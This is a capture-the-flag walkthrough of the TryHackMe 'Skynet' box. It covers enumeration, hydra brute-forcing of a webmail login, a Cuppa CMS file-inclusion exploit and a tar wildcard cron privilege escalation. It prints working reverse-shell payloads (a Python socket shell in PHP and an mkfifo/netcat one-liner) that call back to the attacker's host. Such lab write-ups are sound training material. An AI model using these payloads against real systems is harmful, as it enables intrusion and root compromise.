Intro

Skynet is a fun Terminator themed linux box to practice enumeration on. Getting an intial foothold involves exploiting a straightforward remote file inclusion bug, but we’ll go through a fair amount of enumerating multiple services before finding the way in. After that we’ll use the tar command’s ability to execute arbitrary commands to escalate our privileges and grab the root flag.

Tools Used

  • rustscan
  • searchsploit
  • ffuf
  • enum4linux
  • smbclient
  • hydra
  • linpeas
  • Burp Suite
  • netcat

Recon

sudo rustscan -a 10.10.95.48 -- sC -sV -oA nmap1

PORT    STATE SERVICE     REASON         VERSION
22/tcp  open  ssh         syn-ack ttl 61 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKeTyrvAfbRB4onlz23fmgH5DPnSz07voOYaVMKPx5bT62zn7eZzecIVvfp5LBCetcOyiw2Yhocs0
oO1/RZSqXlwTVzRNKzznG4WTPtkvD7ws/4tv2cAGy1lzRy9b+361HHIXT8GNteq2mU+boz3kdZiiZHIml4oSGhI+/+IuSMl5clB5/FzKJ+mfmu4MRS8ia
hHlTciFlCpmQvoQFTA5s2PyzDHM6XjDYH1N3Euhk4xz44Xpo1hUZnu+P975/GadIkhr/Y0N5Sev+Kgso241/v0GQ2lKrYz3RPgmNv93AIQ4t3i3P6qDnt
a/06bfYDSEEJXaON+A9SCpk2YSrj4A7
|   256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI0UWS0x1ZsOGo510tgfVbNVhdE5LkzA4SWDW/5UjDu
mVQ7zIyWdstNAm+lkpZ23Iz3t8joaLcfs8nYCpMGa/xk=
|   256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICHVctcvlD2YZ4mLdmUlSwY8Ro0hCDMKGqZ2+DuI0KFQ
80/tcp  open  http        syn-ack ttl 61 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Skynet
110/tcp open  pop3        syn-ack ttl 61 Dovecot pop3d
|_pop3-capabilities: UIDL PIPELINING CAPA AUTH-RESP-CODE RESP-CODES TOP SASL
139/tcp open  netbios-ssn syn-ack ttl 61 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        syn-ack ttl 61 Dovecot imapd
|_imap-capabilities: LOGINDISABLEDA0001 post-login more LITERAL+ have IMAP4rev1 IDLE capabilities SASL-IR LOGIN-REFER
RALS ENABLE listed Pre-login OK ID
445/tcp open  netbios-ssn syn-ack ttl 61 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

We have a handful of services open but let’s start by enumerating the web app on port 80.

It looks like a search engine but doesn’t appear to be functional. The input is not getting sent to the server due to an error in the HTML.

(The search text field doesn’t have a name attribute so the browser doesn’t pass the value along in the request when the form is submitted.)

Default page on port 80

There doesn’t appear to be much more to look at here so let’s kick off a content scan.

ffuf -u http://10.10.95.48/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fc 404 -c

admin                   [Status: 301, Size: 310, Words: 20, Lines: 10]
css                     [Status: 301, Size: 308, Words: 20, Lines: 10]
js                      [Status: 301, Size: 307, Words: 20, Lines: 10]
config                  [Status: 301, Size: 311, Words: 20, Lines: 10]
ai                      [Status: 301, Size: 307, Words: 20, Lines: 10]
squirrelmail            [Status: 301, Size: 317, Words: 20, Lines: 10]
                        [Status: 200, Size: 523, Words: 26, Lines: 19]
server-status           [Status: 403, Size: 276, Words: 20, Lines: 10]

We have some interesting directories here but unfortunately we can’t see what’s in /admin or /config.

/squirrelmail is hosting a webmail client: SquirrelMail version 1.4.23

I have vague memories fo this app from a loooong time ago, so I’m pretty sure this is ancient and very likely has some known exploits.

┌──(brian㉿kali)-[~/…/hacks/tryhackme/Skynet/exploits]
└─$ searchsploit squirrelmail
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
SquirrelMail - 'chpasswd' Local Buffer Overflow                                    | linux/local/273.c
SquirrelMail - 'chpasswd' Local Privilege Escalation (Brute Force)                 | linux/local/417.c
SquirrelMail 1.2.11 - 'move_messages.php' Arbitrary File Moving                    | php/webapps/22791.txt
SquirrelMail 1.2.11 - Multiple Vulnerabilities                                     | php/webapps/22793.txt
SquirrelMail 1.2.11 Administrator Plugin - 'options.php' Arbitrary Admin Account C | php/webapps/22792.txt
SquirrelMail 1.2.6/1.2.7 - Multiple Cross-Site Scripting Vulnerabilities           | php/webapps/21811.txt
SquirrelMail 1.2.x - From Email Header HTML Injection                              | php/webapps/24167.txt
SquirrelMail 1.2.x - Theme Remote Command Execution                                | php/webapps/21358.sh
SquirrelMail 1.4.2 Address Add Plugin - 'add.php' Cross-Site Scripting             | php/webapps/26305.txt
Squirrelmail 1.4.x - 'Redirect.php' Local File Inclusion                           | php/webapps/27948.txt
SquirrelMail 1.4.x - Folder Name Cross-Site Scripting                              | php/webapps/24068.txt
SquirrelMail 1.x - Email Header HTML Injection                                     | linux/remote/24160.txt
SquirrelMail 3.1 - Change Passwd Plugin Local Buffer Overflow                      | linux/local/1449.c
SquirrelMail < 1.4.22 - Remote Code Execution                                      | linux/remote/41910.sh
SquirrelMail < 1.4.5-RC1 - Arbitrary Variable Overwrite                            | php/webapps/43830.txt
SquirrelMail < 1.4.7 - Arbitrary Variable Overwrite                                | php/webapps/43839.txt
SquirrelMail G/PGP Encryption Plugin - 'deletekey()' Command Injection             | php/webapps/4718.rb
SquirrelMail G/PGP Encryption Plugin 2.0 - Command Execution                       | php/webapps/4173.txt
SquirrelMail G/PGP Encryption Plugin 2.0/2.1 - Access Validation / Input Validatio | php/webapps/30859.txt
SquirrelMail G/PGP Encryption Plugin 2.0/2.1 - Multiple Remote Command Execution V | php/webapps/30283.txt
SquirrelMail PGP Plugin - Command Execution (SMTP) (Metasploit)                    | linux/remote/16888.rb
SquirrelMail Virtual Keyboard Plugin - 'vkeyboard.php' Cross-Site Scripting        | php/webapps/34814.txt
----------------------------------------------------------------------------------- ---------------------------------

It does have lots of exploits, but after some trial and error, we can conclude this is a rabbit hole..

While attempting the RCE exploit #41910 I learned a new trick that will likely come in handy again.

That script was authored on Windows which has different line termination characters than Linux, so when attempting to execute it I got an error:

zsh: ./41910.sh: bad interpreter: /bin/bash^M: no such file or directory

With a little help from Stackoverflow I learned what the issue was and found a one-liner using sed to remove the carriage return characters from the file so it could execute properly:

sed -i -e 's/\r$//' 41910.sh

This exploit will not work – it requires authentication and we haven’t found any credentials yet! ;-)

Let’s switch gears and look at the SMB service for a bit. We can always come back and fuzz deeper for more files/directories if we don’t find other leads. Now that we know the server is hosting SquirrelMail that also tells us it is running PHP, and likely an older version at that, so we can do more targeted fuzzing with that knowledge.

We can run enum4linux to enumerate lots of info about SMB including users, shares, groups, and more. The output is long so I’m just including the interesting bits here:

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Skynet]                                                             [130/598]
└─$ enum4linux -A 10.10.95.48
Unknown option: A
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat May  8 14:09:57 2021

 ==========================
|    Target Information    |
 ==========================
Target ........... 10.10.95.48
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

 ====================================
|    Session Check on 10.10.95.48    |
 ====================================
[+] Server 10.10.95.48 allows sessions using username '', password ''

 =====================================
|    OS information on 10.10.95.48    |
 =====================================
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.10.95.48 from smbclient:
[+] Got OS info for 10.10.95.48 from srvinfo:
        SKYNET         Wk Sv PrQ Unx NT SNT skynet server (Samba, Ubuntu)
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03

 ============================
|    Users on 10.10.95.48    |
 ============================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: milesdyson       Name:   Desc:

user:[milesdyson] rid:[0x3e8]

========================================                                                                    [66/598]
|    Share Enumeration on 10.10.95.48    |
 ========================================
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        anonymous       Disk      Skynet Anonymous Share
        milesdyson      Disk      Miles Dyson Personal Share
        IPC$            IPC       IPC Service (skynet server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 10.10.95.48
//10.10.95.48/print$    Mapping: DENIED, Listing: N/A
//10.10.95.48/anonymous Mapping: OK, Listing: OK
//10.10.95.48/milesdyson        Mapping: DENIED, Listing: N/A
//10.10.95.48/IPC$      [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*

The server allows anonymous connections and there is an anonymous share available so let’s take a look.

smbclient //10.10.95.48/anonymous

Once in, we’ll see a file named attention.txt:

A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson

There is also a logs directory, and log1.txt appears to be a wordlist we can use for dictionary attacks.

hydra -v -l milesdyson -P log1.txt 10.10.95.48 ssh

No luck getting into SSH.. Maybe SMB though?

hydra -v -l milesdyson -P log1.txt 10.10.95.48 smb

Still nothing.

Perhaps SquirrelMail? Let’s generate a login request and examine it in Burp to figure out what parameters we need to configure hydra with.

SquirrelMail authentication request in Burp

hydra -t 1 -v -l milesdyson -P wordlist.txt 10.10.95.48 http-post-form "/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^:password incorrect"
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-05-12 08:11:32
[DATA] max 1 task per 1 server, overall 1 task, 31 login tries (l:1/p:31), ~31 tries per task
[DATA] attacking http-post-form://10.10.95.48:80/squirrelmail/src/redirect.php:login_username=^USER^&secretkey=^PASS^:password incorrect
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[VERBOSE] Page redirected to http://10.10.95.48/squirrelmail/src/webmail.php
[80][http-post-form] host: 10.10.95.48   login: milesdyson   password: REDACTED
[STATUS] attack finished for 10.10.95.48 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-05-12 08:11:33

Aha! Now we can log in to Miles' email account and see there are 3 messages in his inbox, one of which contains his SMB password!

Miles' SquirrelMail Inbox

Now let’s see if that password is still valid by attempting to access the milesdyson share as that user.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Skynet]
└─$ smbclient -U milesdyson //10.10.95.48/milesdyson                                                             1 ⨯
Enter WORKGROUP\milesdyson's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Sep 17 05:05:47 2019
  ..                                  D        0  Tue Sep 17 23:51:03 2019
  Improving Deep Neural Networks.pdf      N  5743095  Tue Sep 17 05:05:14 2019
  Natural Language Processing-Building Sequence Models.pdf      N 12927230  Tue Sep 17 05:05:14 2019
  Convolutional Neural Networks-CNN.pdf      N 19655446  Tue Sep 17 05:05:14 2019
  notes                               D        0  Tue Sep 17 05:18:40 2019
  Neural Networks and Deep Learning.pdf      N  4304586  Tue Sep 17 05:05:14 2019
  Structuring your Machine Learning Project.pdf      N  3531427  Tue Sep 17 05:05:14 2019

                9204224 blocks of size 1024. 5831280 blocks available

That notes directory looks interesting.. It contains a file named important.txt:

1. Add features to beta CMS /45kra24zxs28v3yd
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife

So apparently there is a CMS behind /45kra24zxs28v3yd. Let’s check it out!

Hidden CMS

There’s not too much to go on yet but let’s fuzz deeper.

ffuf -u http://10.10.95.48/45kra24zxs28v3yd/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fc 404 -c

This scan tells us there is a login form for Cuppa CMS at /administrator.

Cuppa CMS Login page

None of the credentials we’ve found so far work here, but we still have that wordlist we found so we can try to brute force our way into the CMS.

hydra -t 1 -v -l milesdyson -P log1.txt 10.10.95.48 http-post-form "/45kra24zxs28v3yd/administrator/:user=^USER^&password=^PASS^&task=login:Use a valid"

No luck there either. At this point we can search for default credentials and known exploits.

┌──(brian㉿kali)-[~/lab/hacks/tryhackme/Skynet]
└─$ searchsploit cuppa
----------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                     |  Path
----------------------------------------------------------------------------------- ---------------------------------
Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion                    | php/webapps/25971.txt
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

There is a file inclusion bug we can potentially exploit to leak information. There isn’t any indication as to which version(s) of Cuppa CMS are impacted or if authentication is required, but it is super easy to test.

The bug itself is in the /alerts/alertConfigField.php file which accepts a query parameter urlConfig as input, and executes the PHP include() function on its value.

File inclusion proof of concept

And it works! We’re able to exfiltrate the contents of Cuppa’s Configuration.php file by using a PHP stream function to base64 encode the content first. Then we can decode the output to read it:

<?php
	class Configuration{
		public $host = "localhost";
		public $db = "cuppa";
		public $user = "root";
		public $password = "REDACTED";
		public $table_prefix = "cu_";
		public $administrator_template = "default";
		public $list_limit = 25;
		public $token = "REDACTED";
		public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
		public $upload_default_path = "media/uploadsFiles";
		public $maximum_file_size = "5242880";
		public $secure_login = 0;
		public $secure_login_value = "";
		public $secure_login_redirect = "";
	}
?>

This code contains credentials for the database that may be helpful later, but since our port scan didn’t show a database service was open to the public we can’t use it until we get into a shell.

In this case the extra step of base64 encoding the data was necessary to prevent Apache from executing the code rather than printing it in the response. If we were to include a regular text file such as /etc/passwd, the encoding may be omitted.

We could continue enumerating files on the server but the exploit noted the app is vulnerable to local and remote file inclusion. Since any PHP code we include will get executed, we can include a remote file that we control in order to achieve code execution and pop a shell!

Let’s just quickly confirm the RCE before trying to get a shell. We can create a simple PHP file to serve locally, and then verify it executes when included on our target as a quick proof of concept:

┌──(brian㉿kali)-[~/…/hacks/tryhackme/Skynet/exploits]
└─$ echo "<?php echo 'hi 6rian';?>" > hi.php

┌──(brian㉿kali)-[~/…/hacks/tryhackme/Skynet/exploits]
└─$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

Remote file inclusion POC

Exploitation

With RCE confirmed, let’s go for a reverse shell!

First create a local PHP file to hold the shell code:

<?php
$cmd = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.6.48.252\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'";
system($cmd);
?>

Then open a netcat listener before executing the request in Burp again.

┌──(brian㉿kali)-[~/…/tryhackme/Skynet/loot/notes]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.6.48.252] from (UNKNOWN) [10.10.98.45] 35600
www-data@skynet:/var/www/html/45kra24zxs28v3yd/administrator/alerts$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@skynet:/var/www/html/45kra24zxs28v3yd/administrator/alerts$ uname -a
uname -a
Linux skynet 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Now that we’re in the box we can find Miles' home directory and grab the user flag.

www-data@skynet:/var/www/html/45kra24zxs28v3yd/administrator/alerts$ cd /home
www-data@skynet:/home$ ls -l
total 4
drwxr-xr-x 5 milesdyson milesdyson 4096 Sep 17  2019 milesdyson
www-data@skynet:/home$ cd milesdyson/
www-data@skynet:/home/milesdyson$ ls -la
total 36
drwxr-xr-x 5 milesdyson milesdyson 4096 Sep 17  2019 .
drwxr-xr-x 3 root       root       4096 Sep 17  2019 ..
lrwxrwxrwx 1 root       root          9 Sep 17  2019 .bash_history -> /dev/null
-rw-r--r-- 1 milesdyson milesdyson  220 Sep 17  2019 .bash_logout
-rw-r--r-- 1 milesdyson milesdyson 3771 Sep 17  2019 .bashrc
-rw-r--r-- 1 milesdyson milesdyson  655 Sep 17  2019 .profile
drwxr-xr-x 2 root       root       4096 Sep 17  2019 backups
drwx------ 3 milesdyson milesdyson 4096 Sep 17  2019 mail
drwxr-xr-x 3 milesdyson milesdyson 4096 Sep 17  2019 share
-rw-r--r-- 1 milesdyson milesdyson   33 Sep 17  2019 user.txt
www-data@skynet:/home/milesdyson$ wc -c user.txt
33 user.txt

Privilege Escalation

We can run linpeas to look for privesc vectors.

  1. cd /tmp
  2. wget http://10.6.48.252:8888/linpeas.sh
  3. chmod +x linpeas.sh
  4. ./linpeas.sh

There is a backup.sh script owned by root in /home/milesdyson/backups that runs as a cron job:

#!/bin/bash
cd /var/www/html
tar cf /home/milesdyson/backups/backup.tgz *

There is a vulnerability in the way the tar command on line 3 uses a wildcard to specify which files to archive.

tar has the concept of checkpoints which are a way of specifying an action to take at a point in time during the archiving and unarchiving processes.

By passing --checkpoint=1 and --checkpoint-action=exec=command as arguments to tar, the given command will execute before the first file is written to the archive.

We will do this by creating empty files with those names inside the directory being archived. When the wildcard expansion takes place, tar will interpret these as arguments.

When combined with the fact that root is the user executing the backup script, tar will also run with root privileges and we can abuse that to spawn a reverse shell as root.

Let’s see this in action!

Run these commands from the target box:

cd /var/www/html
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.6.48.252 4545 >/tmp/f" > shell.sh
chmod +x shell.sh
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"

The cron job runs every minute so we should get a root shell quickly:

┌──(brian㉿kali)-[~/…/hacks/tryhackme/Skynet/exploits]
└─$ nc -nlvp 4545
listening on [any] 4545 ...
connect to [10.6.48.252] from (UNKNOWN) [10.10.95.48] 37284
bash: cannot set terminal process group (16468): Inappropriate ioctl for device
bash: no job control in this shell
root@skynet:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)
root@skynet:/var/www/html# cd /root
cd /root
root@skynet:~# ls -la
ls -la
total 28
drwx------  4 root root 4096 Sep 17  2019 .
drwxr-xr-x 23 root root 4096 Sep 18  2019 ..
lrwxrwxrwx  1 root root    9 Sep 17  2019 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwx------  2 root root 4096 Sep 17  2019 .cache
drwxr-xr-x  2 root root 4096 Sep 17  2019 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   33 Sep 17  2019 root.txt
root@skynet:~# wc -c root.txt
wc -c root.txt
33 root.txt